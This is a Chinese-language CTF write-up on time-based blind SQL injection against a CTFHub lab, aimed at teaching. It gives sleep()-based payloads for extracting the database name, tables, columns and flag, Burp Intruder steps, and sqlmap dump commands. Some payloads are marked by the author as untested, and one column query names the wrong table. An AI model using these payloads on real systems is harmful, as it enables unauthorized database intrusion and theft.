目录
一、时间盲注原理
1.核心函数
2.完整 payload 模板
二、CTFHub例题
1.手工注入
①判断注入点
②测试可注入方式
③判断数据库长度
④猜数据库名字
⑤猜数据表名字
⑥获取列名
⑦获取数据
2.使用burpsuite
①判断数据库长度
②爆数据库名
③获取表名
④获取列名
⑤获取数据
3.使用sqlmap实现全自动的时间盲注
①获取数据库名称
②获取数据表
③获取flag字段
一、时间盲注原理
场景:页面没有报错回显、没有内容回显,不管 SQL 真假,网页返回的页面内容完全一模一样,没法通过看页面文字判断查询结果。 核心思路:利用 SQL 延时函数 sleep () /benchmark (),根据请求响应时间长短,判断条件是真还是假。
1.核心函数
sleep(N):MySQL 函数,执行就休眠 N 秒。
sleep(5) # 让数据库停留5秒再返回结果if(条件,真执行,假执行)
if(条件为真,sleep(5),1) --条件成立 → 执行sleep(5),请求卡住5秒才返回 --条件不成立 → 执行1,直接返回,没有延迟2.完整 payload 模板
1 and if(ascii(substr((select 要查询的数据),偏移,1))=字符ascii码,sleep(5),1)拆解:
substr(数据,偏移值,1):截取 1 个字符;ascii():把字符转为 ascii 数字,方便对比;- 如果相等(条件 true):触发
sleep(5),浏览器网络面板看到请求耗时≈5 秒; - 如果不相等(条件 false):直接返回,请求几十毫秒就结束。
二、CTFHub例题
1.手工注入
①判断注入点
1)id=1 and 1=1 页面返回有数据
2)id=1 and 1=2 页面返回有数据
则:页面的返回没有变化,可能是盲注
②测试可注入方式
1)页面没有回显位置(联合注入无法使用)
2)页面不显示数据库的报错信息(报错注入无法使用)
3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)判断使用时间盲注
③判断数据库长度
1 and if(length(database())=4,sleep(5),1)可以观察到明显的延时现象后才出现回显内容,这表明数据库名称长度为4。
我们也可以通过查看请求耗时
④猜数据库名字
1 and if(substr(database(),1,1)='s',sleep(5),1)最终试出数据库名称为'sqli'
⑤猜数据表名字
1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f',sleep(5),1)由上图可以看出,第一个字母为'f'
第一个表的名字测试出为’flag‘
⑥获取列名
1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'),1,1)='a',sleep(5),1)最终测试出列名为’flag‘
⑦获取数据
1 and if(substr((select group_concat(flag) from flag),1,1)='a',sleep(5),1)2.使用burpsuite
基于这样的一个延时原理,接下来我们使用burpsuite进行爆破
①判断数据库长度
爆破payload:
?id=1 and if(length(database())=4,sleep(5),1) --+为了爆破时间短一点,我们可以将sleep的时间设置短一点(但是有时候这个sleep时间也会影响到判断的准确性)
将抓到的数据包放入Intruder中,设置爆破位置,选用攻击类型(狙击手Sniper,单个参数爆破)
设置爆破字典
开始攻击。攻击结果如下:
如果直接看结果是看不出来的,因为都是回显正常
我们需要基于响应耗时来筛选
得出数据库名长度为4
②爆数据库名
爆破payload:
?id=1 and if(substr(database(),1,1)='s',sleep(5),1) --+同样选择攻击模式(集束炸弹)
以及设置爆破位置,这里需要爆破的参数有两个
设置爆破字典
第一个参数的字典显然是1到4(因为数据库长度为4)
第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)
同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload
再将其按照payload1从1到4的顺序排列
得到当前数据库名为:sqli
③获取表名
爆破payload:
?id=1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(5),1)--+④获取列名
爆破payload:
?id=1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'),1,1)='a',sleep(5),1)--+⑤获取数据
爆破payload:
?id=1 and if(substr((select group_concat(flag) from flag),1,1)='a',sleep(5),1)--+最后给出的三个payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。
3.使用sqlmap实现全自动的时间盲注
①获取数据库名称
sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 --dbs②获取数据表
sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables参数说明:
-D 指定数据库
--tables 获取表
③获取flag字段
sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump --batch以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。
参考文章:
关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客
SQL注入---时间盲注-CSDN博客
**CTFHub**做题记录--Web篇 - 知乎